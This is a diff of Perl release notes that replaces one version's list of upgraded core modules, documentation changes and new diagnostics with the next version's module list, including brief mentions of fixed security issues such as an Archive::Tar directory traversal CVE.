+=head2 Updated Modules and Pragmata
 
-=item *
+=over 4
 
-L<Devel::SelfStubber> has been upgraded from version 1.05 to 1.06.
-
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
-
 =item *
 
-L<diagnostics> has been upgraded from version 1.34 to 1.36.
+L<Archive::Tar> has been upgraded from version 2.24 to 2.30.
 
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
+This update also handled CVE-2018-12015: directory traversal
+vulnerability.
+L<[cpan #125523]|https://rt.cpan.org/Ticket/Display.html?id=125523>
 
 =item *
 
-L<Digest> has been upgraded from version 1.17 to 1.17_01.
+L<arybase> has been upgraded from version 0.12 to 0.15.
 
 =item *
 
-L<Digest::MD5> has been upgraded from version 2.54 to 2.55.
+L<Attribute::Handlers> has been upgraded from version 0.99 to 1.01.
 
 =item *
 
-L<Digest::SHA> has been upgraded from version 5.95 to 5.96.
+L<attributes> has been upgraded from version 0.29 to 0.33.
 
 =item *
 
-L<DynaLoader> has been upgraded from version 1.38 to 1.42.
+L<B> has been upgraded from version 1.68 to 1.74.
 
 =item *
 
-L<Encode> has been upgraded from version 2.80 to 2.88.
+L<B::Concise> has been upgraded from version 0.999 to 1.003.
 
 =item *
 
-L<encoding> has been upgraded from version 2.17 to 2.19.
+L<B::Debug> has been upgraded from version 1.24 to 1.26.
 
-This module's default mode is no longer supported.  It now
-dies when imported, unless the C<Filter> option is being used.
+NOTE: L<B::Debug> is deprecated and may be removed from a future version
+of Perl.
 
 =item *
 
-L<encoding::warnings> has been upgraded from version 0.12 to 0.13.
+L<B::Deparse> has been upgraded from version 1.40 to 1.48.
 
-This module is no longer supported.  It emits a warning to
-that effect and then does nothing.
+It includes many bug fixes, and in particular, it now deparses variable
+attributes correctly:
 
-=item *
+    my $x :foo;  # used to deparse as
+                 # 'attributes'->import('main', \$x, 'foo'), my $x;
 
-L<Errno> has been upgraded from version 1.25 to 1.28.
-
-It now documents that using C<%!> automatically loads Errno for you.
-
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
-
 =item *
 
-L<ExtUtils::Embed> has been upgraded from version 1.33 to 1.34.
+L<base> has been upgraded from version 2.25 to 2.27.
 
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
-
 =item *
 
-L<ExtUtils::MakeMaker> has been upgraded from version 7.10_01 to 7.24.
+L<bignum> has been upgraded from version 0.47 to 0.49.
 
 =item *
 
-L<ExtUtils::Miniperl> has been upgraded from version 1.05 to 1.06.
+L<blib> has been upgraded from version 1.06 to 1.07.
 
 =item *
 
-L<ExtUtils::ParseXS> has been upgraded from version 3.31 to 3.34.
+L<bytes> has been upgraded from version 1.05 to 1.06.
 
 =item *
 
-L<ExtUtils::Typemaps> has been upgraded from version 3.31 to 3.34.
+L<Carp> has been upgraded from version 1.42 to 1.50.
 
-=item *
+If a package on the call stack contains a constant named C<ISA>, Carp no
+longer throws a "Not a GLOB reference" error.
 
-L<feature> has been upgraded from version 1.42 to 1.47.
+L<Carp>, when generating stack traces, now attempts to work around
+longstanding bugs resulting from Perl's non-reference-counted stack.
+L<[perl #52610]|https://rt.perl.org/Ticket/Display.html?id=52610>
 
-=item *
+Carp has been modified to avoid assuming that objects cannot be
+overloaded without the L<overload> module loaded (this can happen with
+objects created by XS modules).  Previously, infinite recursion would
+result if an XS-defined overload method itself called Carp.
+L<[perl #132828]|https://rt.perl.org/Ticket/Display.html?id=132828>
 
-L<File::Copy> has been upgraded from version 2.31 to 2.32.
+Carp now avoids using C<overload::StrVal>, partly because older versions
+of L<overload> (included with perl 5.14 and earlier) load L<Scalar::Util>
+at run time, which will fail if Carp has been invoked after a syntax error.
 
 =item *
 
-L<File::Fetch> has been upgraded from version 0.48 to 0.52.
+L<charnames> has been upgraded from version 1.44 to 1.45.
 
 =item *
 
-L<File::Glob> has been upgraded from version 1.26 to 1.28.
+L<Compress::Raw::Zlib> has been upgraded from version 2.074 to 2.076.
 
-It now Issues a deprecation message for C<File::Glob::glob()>.
+This addresses a security vulnerability in older versions of the 'zlib' library
+(which is bundled with Compress-Raw-Zlib).
 
 =item *
 
-L<File::Spec> has been upgraded from version 3.63 to 3.67.
+L<Config::Extensions> has been upgraded from version 0.01 to 0.02.
 
 =item *
 
-L<FileHandle> has been upgraded from version 2.02 to 2.03.
+L<Config::Perl::V> has been upgraded from version 0.28 to 0.29.
 
 =item *
 
-L<Filter::Simple> has been upgraded from version 0.92 to 0.93.
+L<CPAN> has been upgraded from version 2.18 to 2.20.
 
-It no longer treats C<no MyFilter> immediately following C<use MyFilter> as
-end-of-file.
-L<[perl #107726]|https://rt.perl.org/Public/Bug/Display.html?id=107726>
-
 =item *
 
-L<Getopt::Long> has been upgraded from version 2.48 to 2.49.
+L<Data::Dumper> has been upgraded from version 2.167 to 2.170.
 
-=item *
+Quoting of glob names now obeys the Useqq option
+L<[perl #119831]|https://rt.perl.org/Ticket/Display.html?id=119831>.
 
-L<Getopt::Std> has been upgraded from version 1.11 to 1.12.
+Attempts to set an option to C<undef> through a combined getter/setter
+method are no longer mistaken for getter calls
+L<[perl #113090]|https://rt.perl.org/Ticket/Display.html?id=113090>.
 
 =item *
 
-L<Hash::Util> has been upgraded from version 0.19 to 0.22.
+L<Devel::Peek> has been upgraded from version 1.26 to 1.27.
 
 =item *
 
-L<HTTP::Tiny> has been upgraded from version 0.056 to 0.070.
+L<Devel::PPPort> has been upgraded from version 3.35 to 3.40.
 
-Internal 599-series errors now include the redirect history.
+L<Devel::PPPort> has moved from cpan-first to perl-first maintenance
 
-=item *
+Primary responsibility for the code in Devel::PPPort has moved into core perl.
+In a practical sense there should be no change except that hopefully it will
+stay more up to date with changes made to symbols in perl, rather than needing
+to be updated after the fact.
 
-L<I18N::LangTags> has been upgraded from version 0.40 to 0.42.
-
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
-
 =item *
 
-L<IO> has been upgraded from version 1.36 to 1.38.
+L<Digest::SHA> has been upgraded from version 5.96 to 6.01.
 
 =item *
 
-L<IO::Socket::IP> has been upgraded from version 0.37 to 0.38.
+L<DirHandle> has been upgraded from version 1.04 to 1.05.
 
 =item *
 
-L<IPC::Cmd> has been upgraded from version 0.92 to 0.96.
+L<DynaLoader> has been upgraded from version 1.42 to 1.45.
 
-=item *
+Its documentation now shows the use of C<__PACKAGE__> and direct object
+syntax
+L<[perl #132247]|https://rt.perl.org/Ticket/Display.html?id=132247>.
 
-L<IPC::SysV> has been upgraded from version 2.06_01 to 2.07.
-
 =item *
 
-L<JSON::PP> has been upgraded from version 2.27300 to 2.27400_02.
+L<Encode> has been upgraded from version 2.88 to 2.97.
 
 =item *
 
-L<lib> has been upgraded from version 0.63 to 0.64.
+L<encoding> has been upgraded from version 2.19 to 2.22.
 
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
-
 =item *
 
-L<List::Util> has been upgraded from version 1.42_02 to 1.46_02.
+L<Errno> has been upgraded from version 1.28 to 1.29.
 
 =item *
 
-L<Locale::Codes> has been upgraded from version 3.37 to 3.42.
+L<experimental> has been upgraded from version 0.016 to 0.019.
 
 =item *
 
-L<Locale::Maketext> has been upgraded from version 1.26 to 1.28.
+L<Exporter> has been upgraded from version 5.72 to 5.73.
 
 =item *
 
-L<Locale::Maketext::Simple> has been upgraded from version 0.21 to 0.21_01.
+L<ExtUtils::CBuilder> has been upgraded from version 0.280225 to 0.280230.
 
 =item *
 
-L<Math::BigInt> has been upgraded from version 1.999715 to 1.999806.
+L<ExtUtils::Constant> has been upgraded from version 0.23 to 0.25.
 
 =item *
 
-L<Math::BigInt::FastCalc> has been upgraded from version 0.40 to 0.5005.
+L<ExtUtils::Embed> has been upgraded from version 1.34 to 1.35.
 
 =item *
 
-L<Math::BigRat> has been upgraded from version 0.260802 to 0.2611.
+L<ExtUtils::Install> has been upgraded from version 2.04 to 2.14.
 
 =item *
 
-L<Math::Complex> has been upgraded from version 1.59 to 1.5901.
+L<ExtUtils::MakeMaker> has been upgraded from version 7.24 to 7.34.
 
 =item *
 
-L<Memoize> has been upgraded from version 1.03 to 1.03_01.
+L<ExtUtils::Miniperl> has been upgraded from version 1.06 to 1.08.
 
 =item *
 
-L<Module::CoreList> has been upgraded from version 5.20170420 to 5.20170530.
+L<ExtUtils::ParseXS> has been upgraded from version 3.34 to 3.39.
 
 =item *
 
-L<Module::Load::Conditional> has been upgraded from version 0.64 to 0.68.
+L<ExtUtils::Typemaps> has been upgraded from version 3.34 to 3.38.
 
 =item *
 
-L<Module::Metadata> has been upgraded from version 1.000031 to 1.000033.
+L<ExtUtils::XSSymSet> has been upgraded from version 1.3 to 1.4.
 
 =item *
 
-L<mro> has been upgraded from version 1.18 to 1.20.
+L<feature> has been upgraded from version 1.47 to 1.52.
 
 =item *
 
-L<Net::Ping> has been upgraded from version 2.43 to 2.55.
+L<fields> has been upgraded from version 2.23 to 2.24.
 
-IPv6 addresses and C<AF_INET6> sockets are now supported, along with several
-other enhancements.
-
 =item *
 
-L<NEXT> has been upgraded from version 0.65 to 0.67.
+L<File::Copy> has been upgraded from version 2.32 to 2.33.
 
-=item *
+It will now use the sub-second precision variant of utime() supplied by
+L<Time::HiRes> where available.
+L<[perl #132401]|https://rt.perl.org/Ticket/Display.html?id=132401>.
 
-L<Opcode> has been upgraded from version 1.34 to 1.39.
-
 =item *
 
-L<open> has been upgraded from version 1.10 to 1.11.
+L<File::Fetch> has been upgraded from version 0.52 to 0.56.
 
 =item *
 
-L<OS2::Process> has been upgraded from version 1.11 to 1.12.
+L<File::Glob> has been upgraded from version 1.28 to 1.31.
 
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
-
 =item *
 
-L<overload> has been upgraded from version 1.26 to 1.28.
+L<File::Path> has been upgraded from version 2.12_01 to 2.15.
 
-Its compilation speed has been improved slightly.
-
 =item *
 
-L<parent> has been upgraded from version 0.234 to 0.236.
+L<File::Spec> and L<Cwd> have been upgraded from version 3.67 to 3.74.
 
 =item *
 
-L<perl5db.pl> has been upgraded from version 1.50 to 1.51.
+L<File::stat> has been upgraded from version 1.07 to 1.08.
 
-It now ignores F</dev/tty> on non-Unix systems.
-L<[perl #113960]|https://rt.perl.org/Public/Bug/Display.html?id=113960>
-
 =item *
 
-L<Perl::OSType> has been upgraded from version 1.009 to 1.010.
+L<FileCache> has been upgraded from version 1.09 to 1.10.
 
 =item *
 
-L<perlfaq> has been upgraded from version 5.021010 to 5.021011.
+L<Filter::Simple> has been upgraded from version 0.93 to 0.95.
 
 =item *
 
-L<PerlIO> has been upgraded from version 1.09 to 1.10.
+L<Filter::Util::Call> has been upgraded from version 1.55 to 1.58.
 
 =item *
 
-L<PerlIO::encoding> has been upgraded from version 0.24 to 0.25.
+L<GDBM_File> has been upgraded from version 1.15 to 1.17.
 
-=item *
+Its documentation now explains that C<each> and C<delete> don't mix in
+hashes tied to this module
+L<[perl #117449]|https://rt.perl.org/Ticket/Display.html?id=117449>.
 
-L<PerlIO::scalar> has been upgraded from version 0.24 to 0.26.
+It will now retry opening with an acceptable block size if asking gdbm
+to default the block size failed
+L<[perl #119623]|https://rt.perl.org/Ticket/Display.html?id=119623>.
 
 =item *
 
-L<Pod::Checker> has been upgraded from version 1.60 to 1.73.
+L<Getopt::Long> has been upgraded from version 2.49 to 2.5.
 
 =item *
 
-L<Pod::Functions> has been upgraded from version 1.10 to 1.11.
+L<Hash::Util::FieldHash> has been upgraded from version 1.19 to 1.20.
 
 =item *
 
-L<Pod::Html> has been upgraded from version 1.22 to 1.2202.
+L<I18N::Langinfo> has been upgraded from version 0.13 to 0.17.
 
-=item *
+This module is now available on all platforms, emulating the system
+L<nl_langinfo(3)> on systems that lack it.  Some caveats apply, as
+L<detailed in its documentation|I18N::Langinfo>, the most severe being
+that, except for MS Windows, the C<CODESET> item is not implemented on
+those systems, always returning C<"">.
 
-L<Pod::Perldoc> has been upgraded from version 3.25_02 to 3.28.
+It now sets the UTF-8 flag in its returned scalar if the string contains
+legal non-ASCII UTF-8, and the locale is UTF-8
+L<[perl #127288]|https://rt.perl.org/Ticket/Display.html?id=127288>.
 
-=item *
+This update also fixes a bug in which the underlying locale was ignored
+for the C<RADIXCHAR> (always was returned as a dot) and the C<THOUSEP>
+(always empty).  Now the locale-appropriate values are returned.
 
-L<Pod::Simple> has been upgraded from version 3.32 to 3.35.
-
 =item *
 
-L<Pod::Usage> has been upgraded from version 1.68 to 1.69.
+L<I18N::LangTags> has been upgraded from version 0.42 to 0.43.
 
 =item *
 
-L<POSIX> has been upgraded from version 1.65 to 1.76.
+L<if> has been upgraded from version 0.0606 to 0.0608.
 
-This remedies several defects in making its symbols exportable.
-L<[perl #127821]|https://rt.perl.org/Public/Bug/Display.html?id=127821>
-
-The C<POSIX::tmpnam()> interface has been removed,
-see L</"POSIX::tmpnam() has been removed">.
-
-The following deprecated functions have been removed:
-
-    POSIX::isalnum
-    POSIX::isalpha
-    POSIX::iscntrl
-    POSIX::isdigit
-    POSIX::isgraph
-    POSIX::islower
-    POSIX::isprint
-    POSIX::ispunct
-    POSIX::isspace
-    POSIX::isupper
-    POSIX::isxdigit
-    POSIX::tolower
-    POSIX::toupper
-
-Trying to import POSIX subs that have no real implementations
-(like C<POSIX::atend()>) now fails at import time, instead of
-waiting until runtime.
-
 =item *
 
-L<re> has been upgraded from version 0.32 to 0.34
+L<IO> has been upgraded from version 1.38 to 1.39.
 
-This adds support for the new L<C<E<47>xx>|perlre/E<sol>x and E<sol>xx>
-regular expression pattern modifier, and a change to the L<S<C<use re
-'strict'>>|re/'strict' mode> experimental feature.  When S<C<re
-'strict'>> is enabled, a warning now will be generated for all
-unescaped uses of the two characters C<"}"> and C<"]"> in regular
-expression patterns (outside bracketed character classes) that are taken
-literally.  This brings them more in line with the C<")"> character which
-is always a metacharacter unless escaped.  Being a metacharacter only
-sometimes, depending on an action at a distance, can lead to silently
-having the pattern mean something quite different than was intended,
-which the S<C<re 'strict'>> mode is intended to minimize.
-
 =item *
 
-L<Safe> has been upgraded from version 2.39 to 2.40.
+L<IO::Socket::IP> has been upgraded from version 0.38 to 0.39.
 
 =item *
 
-L<Scalar::Util> has been upgraded from version 1.42_02 to 1.46_02.
+L<IPC::Cmd> has been upgraded from version 0.96 to 1.00.
 
 =item *
 
-L<Storable> has been upgraded from version 2.56 to 2.62.
+L<JSON::PP> has been upgraded from version 2.27400_02 to 2.97001.
 
-Fixes
-L<[perl #130098]|https://rt.perl.org/Public/Bug/Display.html?id=130098>.
-
 =item *
 
-L<Symbol> has been upgraded from version 1.07 to 1.08.
+The C<libnet> distribution has been upgraded from version 3.10 to 3.11.
 
 =item *
 
-L<Sys::Syslog> has been upgraded from version 0.33 to 0.35.
+L<List::Util> has been upgraded from version 1.46_02 to 1.49.
 
 =item *
 
-L<Term::ANSIColor> has been upgraded from version 4.04 to 4.06.
+L<Locale::Codes> has been upgraded from version 3.42 to 3.56.
 
-=item *
+B<NOTE>: L<Locale::Codes> scheduled to be removed from core in Perl 5.30.
 
-L<Term::ReadLine> has been upgraded from version 1.15 to 1.16.
-
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
-
 =item *
 
-L<Test> has been upgraded from version 1.28 to 1.30.
+L<Locale::Maketext> has been upgraded from version 1.28 to 1.29.
 
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
-
 =item *
 
-L<Test::Harness> has been upgraded from version 3.36 to 3.38.
+L<Math::BigInt> has been upgraded from version 1.999806 to 1.999811.
 
 =item *
 
-L<Test::Simple> has been upgraded from version 1.001014 to 1.302073.
+L<Math::BigInt::FastCalc> has been upgraded from version 0.5005 to 0.5006.
 
 =item *
 
-L<Thread::Queue> has been upgraded from version 3.09 to 3.12.
+L<Math::BigRat> has been upgraded from version 0.2611 to 0.2613.
 
 =item *
 
-L<Thread::Semaphore> has been upgraded from 2.12 to 2.13.
+L<Module::CoreList> has been upgraded from version 5.20170530 to 5.20180622.
 
-Added the C<down_timed> method.
-
 =item *
 
-L<threads> has been upgraded from version 2.07 to 2.15.
+L<mro> has been upgraded from version 1.20 to 1.22.
 
 =item *
 
-L<threads::shared> has been upgraded from version 1.51 to 1.56.
+L<Net::Ping> has been upgraded from version 2.55 to 2.62.
 
 =item *
 
-L<Tie::Hash::NamedCapture> has been upgraded from version 0.09 to 0.10.
+L<NEXT> has been upgraded from version 0.67 to 0.67_01.
 
 =item *
 
-L<Time::HiRes> has been upgraded from version 1.9733 to 1.9741.
+L<ODBM_File> has been upgraded from version 1.14 to 1.15.
 
-It now builds on systems with C++11 compilers (such as G++ 6 and Clang++
-3.9).
-
-Now uses C<clockid_t>.
-
 =item *
 
-L<Time::Local> has been upgraded from version 1.2300 to 1.25.
+L<Opcode> has been upgraded from version 1.39 to 1.43.
 
 =item *
 
-L<Unicode::Collate> has been upgraded from version 1.14 to 1.19.
+L<overload> has been upgraded from version 1.28 to 1.30.
 
 =item *
 
-L<Unicode::UCD> has been upgraded from version 0.64 to 0.68.
+L<PerlIO::encoding> has been upgraded from version 0.25 to 0.26.
 
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
-
 =item *
 
-L<version> has been upgraded from version 0.9916 to 0.9917.
+L<PerlIO::scalar> has been upgraded from version 0.26 to 0.29.
 
 =item *
 
-L<VMS::DCLsym> has been upgraded from version 1.06 to 1.08.
+L<PerlIO::via> has been upgraded from version 0.16 to 0.17.
 
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
-
 =item *
 
-L<warnings> has been upgraded from version 1.36 to 1.37.
+L<Pod::Functions> has been upgraded from version 1.11 to 1.13.
 
 =item *
 
-L<XS::Typemap> has been upgraded from version 0.14 to 0.15.
+L<Pod::Html> has been upgraded from version 1.2202 to 1.24.
 
-=item *
+A title for the HTML document will now be automatically generated by
+default from a "NAME" section in the POD document, as it used to be
+before the module was rewritten to use L<Pod::Simple::XHTML> to do the
+core of its job
+L<[perl #110520]|https://rt.perl.org/Ticket/Display.html?id=110520>.
 
-L<XSLoader> has been upgraded from version 0.21 to 0.27.
-
-Fixed a security hole in which binary files could be loaded from a path
-outside of L<C<@INC>|perlvar/@INC>.
-
-It now uses 3-arg C<open()> instead of 2-arg C<open()>.
-L<[perl #130122]|https://rt.perl.org/Public/Bug/Display.html?id=130122>
-
-=back
-
-=head1 Documentation
-
-=head2 New Documentation
-
-=head3 L<perldeprecation>
-
-This file documents all upcoming deprecations, and some of the deprecations
-which already have been removed.  The purpose of this documentation is
-two-fold: document what will disappear, and by which version, and serve
-as a guide for people dealing with code which has features that no longer
-work after an upgrade of their perl.
-
-=head2 Changes to Existing Documentation
-
-We have attempted to update the documentation to reflect the changes
-listed in this document.  If you find any we have missed, send email to
-L<perlbug at perl.org|mailto:perlbug at perl.org>.
-
-Additionally, all references to Usenet have been removed, and the
-following selected changes have been made:
-
-=head3 L<perlfunc>
-
-=over 4
-
 =item *
 
-Removed obsolete text about L<C<defined()>|perlfunc/defined>
-on aggregates that should have been deleted earlier, when the feature
-was removed.
+L<Pod::Perldoc> has been upgraded from version 3.28 to 3.2801.
 
 =item *
 
-Corrected documentation of L<C<eval()>|perlfunc/eval>,
-and L<C<evalbytes()>|perlfunc/evalbytes>.
+The C<podlators> distribution has been upgraded from version 4.09 to 4.10.
 
-=item *
+Man page references and function names now follow the Linux man page
+formatting standards, instead of the Solaris standard.
 
-Clarified documentation of L<C<seek()>|perlfunc/seek>,
-L<C<tell()>|perlfunc/tell> and L<C<sysseek()>|perlfunc/sysseek>
-emphasizing that positions are in bytes and not characters.
-L<[perl #128607]|https://rt.perl.org/Public/Bug/Display.html?id=128607>
-
 =item *
 
-Clarified documentation of L<C<sort()>|perlfunc/sort LIST> concerning
-the variables C<$a> and C<$b>.
+L<POSIX> has been upgraded from version 1.76 to 1.84.
 
-=item *
+Some more cautions were added about using locale-specific functions in
+threaded applications.
 
-In L<C<split()>|perlfunc/split> noted that certain pattern modifiers are
-legal, and added a caution about its use in Perls before v5.11.
-
 =item *
 
-Removed obsolete documentation of L<C<study()>|perlfunc/study>, noting
-that it is now a no-op.
+L<re> has been upgraded from version 0.34 to 0.36.
 
 =item *
 
-Noted that L<C<vec()>|perlfunc/vec> doesn't work well when the string
-contains characters whose code points are above 255.
+L<Scalar::Util> has been upgraded from version 1.46_02 to 1.50.
 
-=back
-
-=head3 L<perlguts>
-
-=over 4
-
 =item *
 
-Added advice on
-L<formatted printing of operands of C<Size_t> and C<SSize_t>|perlguts/Formatted Printing of Size_t and SSize_t>
+L<SelfLoader> has been upgraded from version 1.23 to 1.25.
 
-=back
-
-=head3 L<perlhack>
-
-=over 4
-
 =item *
 
-Clarify what editor tab stop rules to use, and note that we are
-migrating away from using tabs, replacing them with sequences of SPACE
-characters.
+L<Socket> has been upgraded from version 2.020_03 to 2.027.
 
-=back
-
-=head3 L<perlhacktips>
-
-=over 4
-
 =item *
 
-Give another reason to use C<cBOOL> to cast an expression to boolean.
+L<sort> has been upgraded from version 2.02 to 2.04.
 
 =item *
 
-Note that the macros C<TRUE> and C<FALSE> are available to express
-boolean values.
+L<Storable> has been upgraded from version 2.62 to 3.08.
 
-=back
-
-=head3 L<perlinterp>
-
-=over 4
-
 =item *
 
-L<perlinterp> has been expanded to give a more detailed example of how to
-hunt around in the parser for how a given operator is handled.
+L<Sub::Util> has been upgraded from version 1.48 to 1.49.
 
-=back
-
-=head3 L<perllocale>
-
-=over 4
-
 =item *
 
-Some locales aren't compatible with Perl.  Note that these can cause
-core dumps.
+L<subs> has been upgraded from version 1.02 to 1.03.
 
-=back
-
-=head3 L<perlmod>
-
-=over 4
-
 =item *
 
-Various clarifications have been added.
+L<Sys::Hostname> has been upgraded from version 1.20 to 1.22.
 
-=back
-
-=head3 L<perlmodlib>
-
-=over 4
-
 =item *
 
-Updated the site mirror list.
+L<Term::ReadLine> has been upgraded from version 1.16 to 1.17.
 
-=back
-
-=head3 L<perlobj>
-
-=over 4
-
 =item *
 
-Added a section on calling methods using their fully qualified names.
+L<Test> has been upgraded from version 1.30 to 1.31.
 
 =item *
 
-Do not discourage manual C<@ISA>.
+L<Test::Harness> has been upgraded from version 3.38 to 3.42.
 
-=back
-
-=head3 L<perlootut>
-
-=over 4
-
 =item *
 
-Mention C<Moo> more.
+L<Test::Simple> has been upgraded from version 1.302073 to 1.302133.
 
-=back
-
-=head3 L<perlop>
-
-=over 4
-
 =item *
 
-Note that white space must be used for quoting operators if the
-delimiter is a word character (I<i.e.>, matches C<\w>).
+L<threads> has been upgraded from version 2.15 to 2.22.
 
-=item *
+The documentation now better describes the problems that arise when
+returning values from threads, and no longer warns about creating threads
+in C<BEGIN> blocks.
+L<[perl #96538]|https://rt.perl.org/Ticket/Display.html?id=96538>
 
-Clarify that in regular expression patterns delimited by single quotes,
-no variable interpolation is done.
-
-=back
-
-=head3 L<perlre>
-
-=over 4
-
 =item *
 
-The first part was extensively rewritten to incorporate various basic
-points, that in earlier versions were mentioned in sort of an appendix
-on Version 8 regular expressions.
+L<threads::shared> has been upgraded from version 1.56 to 1.58.
 
 =item *
 
-Note that it is common to have the C</x> modifier and forget that this
-means that C<"#"> has to be escaped.
+L<Tie::Array> has been upgraded from version 1.06 to 1.07.
 
-=back
-
-=head3 L<perlretut>
-
-=over 4
-
 =item *
 
-Add introductory material.
+L<Tie::StdHandle> has been upgraded from version 4.4 to 4.5.
 
 =item *
 
-Note that a metacharacter occurring in a context where it can't mean
-that, silently loses its meta-ness and matches literally.
-L<C<use re 'strict'>|re/'strict' mode> can catch some of these.
+L<Time::gmtime> has been upgraded from version 1.03 to 1.04.
 
-=back
-
-=head3 L<perlunicode>
-
-=over 4
-
 =item *
 
-Corrected the text about Unicode BYTE ORDER MARK handling.
+L<Time::HiRes> has been upgraded from version 1.9741 to 1.9759.
 
 =item *
 
-Updated the text to correspond with changes in Unicode UTS#18, concerning
-regular expressions, and Perl compatibility with what it says.
+L<Time::localtime> has been upgraded from version 1.02 to 1.03.
 
-=back
-
-=head3 L<perlvar>
-
-=over 4
-
 =item *
 
-Document C<@ISA>.  It was documented in other places, but not in L<perlvar>.
+L<Time::Piece> has been upgraded from version 1.31 to 1.3204.
 
-=back
-
-=head1 Diagnostics
-
-=head2 New Diagnostics
-
-=head3 New Errors
-
-=over 4
-
 =item *
 
-L<A signature parameter must start with C<'$'>, C<'@'> or C<'%'>
-|perldiag/A signature parameter must start with C<'$'>, C<'@'> or C<'%'>>
+L<Unicode::Collate> has been upgraded from version 1.19 to 1.25.
 
 =item *
 
-L<Bareword in require contains "%s"|perldiag/"Bareword in require contains "%s"">
+L<Unicode::Normalize> has been upgraded from version 1.25 to 1.26.
 
 =item *
 
-L<Bareword in require maps to empty filename|perldiag/"Bareword in require maps to empty filename">
+L<Unicode::UCD> has been upgraded from version 0.68 to 0.70.
 
-=item *
+The function C<num> now accepts an optional parameter to help in
+diagnosing error returns.
 
-L<Bareword in require maps to disallowed filename "%s"|perldiag/"Bareword in require maps to disallowed filename "%s"">
-
 =item *
 
-L<Bareword in require must not start with a double-colon: "%s"|perldiag/"Bareword in require must not start with a double-colon: "%s"">
+L<User::grent> has been upgraded from version 1.01 to 1.02.
 
 =item *
 
-L<%s: command not found|perldiag/"%s: command not found">
+L<User::pwent> has been upgraded from version 1.00 to 1.01.
 
-(A) You've accidentally run your script through B<bash> or another shell
-instead of Perl.  Check the C<#!> line, or manually feed your script into
-Perl yourself.  The C<#!> line at the top of your file could look like:
-
-  #!/usr/bin/perl
-
 =item *
 
-L<%s: command not found: %s|perldiag/"%s: command not found: %s">
+L<utf8> has been upgraded from version 1.19 to 1.21.
 
-(A) You've accidentally run your script through B<zsh> or another shell
-instead of Perl.  Check the C<#!> line, or manually feed your script into
-Perl yourself.  The C<#!> line at the top of your file could look like:
-
-  #!/usr/bin/perl
-
 =item *
 
-L<The experimental declared_refs feature is not enabled|perldiag/"The experimental declared_refs feature is not enabled">
+L<vars> has been upgraded from version 1.03 to 1.04.
 
-(F) To declare references to variables, as in C<my \%x>, you must first enable
-the feature:
-
-    no warnings "experimental::declared_refs";
-    use feature "declared_refs";
-
-See L</Declaring a reference to a variable>.
-
 =item *
 
-L<Illegal character following sigil in a subroutine signature
-|perldiag/Illegal character following sigil in a subroutine signature>
+L<version> has been upgraded from version 0.9917 to 0.9923.
 
 =item *
 
-L<Indentation on line %d of here-doc doesn't match delimiter
-|perldiag/Indentation on line %d of here-doc doesn't match delimiter>
+L<VMS::DCLsym> has been upgraded from version 1.08 to 1.09.
 
 =item *
 
-L<Infinite recursion via empty pattern|perldiag/"Infinite recursion via empty pattern">.
+L<VMS::Stdio> has been upgraded from version 2.41 to 2.44.
 
-Using the empty pattern (which re-executes the last successfully-matched
-pattern) inside a code block in another regex, as in C</(?{ s!!new! })/>, has
-always previously yielded a segfault.  It now produces this error.
-
 =item *
 
-L<Malformed UTF-8 string in "%s"
-|perldiag/Malformed UTF-8 string in "%s">
+L<warnings> has been upgraded from version 1.37 to 1.42.
 
-=item *
+It now includes new functions with names ending in C<_at_level>, allowing
+callers to specify the exact call frame.
+L<[perl #132468]|https://rt.perl.org/Ticket/Display.html?id=132468>
 
-L<Multiple slurpy parameters not allowed
-|perldiag/Multiple slurpy parameters not allowed>
-
 =item *
 
-L<C<'#'> not allowed immediately following a sigil in a subroutine signature
-|perldiag/C<'#'> not allowed immediately following a sigil in a subroutine signature>
+L<XS::Typemap> has been upgraded from version 0.15 to 0.16.
 
 =item *
 
-L<panic: unknown OA_*: %x
-|perldiag/panic: unknown OA_*: %x>
+L<XSLoader> has been upgraded from version 0.27 to 0.30.
 
-=item *
+Its documentation now shows the use of C<__PACKAGE__>, and direct object
+syntax for example C<DynaLoader> usage
+L<[perl #132247]|https://rt.perl.org/Ticket/Display.html?id=132247>.
 
-L<Unescaped left brace in regex is illegal here|perldiag/Unescaped left brace in regex is illegal here in regex; marked by S<E<lt>-- HERE> in mE<sol>%sE<sol>>
+Platforms that use C<mod2fname> to edit the names of loadable
+libraries now look for bootstrap (.bs) files under the correct,
+non-edited name.
 
-Unescaped left braces are now illegal in some contexts in regular expression
-patterns.  In other contexts, they are still just deprecated; they will
-be illegal in Perl 5.30.
-
-=item *
-
-L<Version control conflict marker|perldiag/"Version control conflict marker">
-
-(F) The parser found a line starting with C<E<lt>E<lt>E<lt>E<lt>E<lt>E<lt>E<lt>>,
-C<E<gt>E<gt>E<gt>E<gt>E<gt>E<gt>E<gt>>, or C<=======>.  These may be left by a
-version control system to mark conflicts after a failed merge operation.
-
 =back
 
-=head3 New Warnings
+=head2 Removed Modules and Pragmata
 
 =over 4
 
 =item *
 
-L<Can't determine class of operator %s, assuming C<BASEOP>
-|perldiag/Can't determine class of operator %s, assuming C<BASEOP>>
+The C<VMS::stdio> compatibility shim has been removed.
 
-=item *
+=back
 
-L<Declaring references is experimental|perldiag/"Declaring references is experimental">
+=head1 Documentation
 
-(S experimental::declared_refs) This warning is emitted if you use a reference
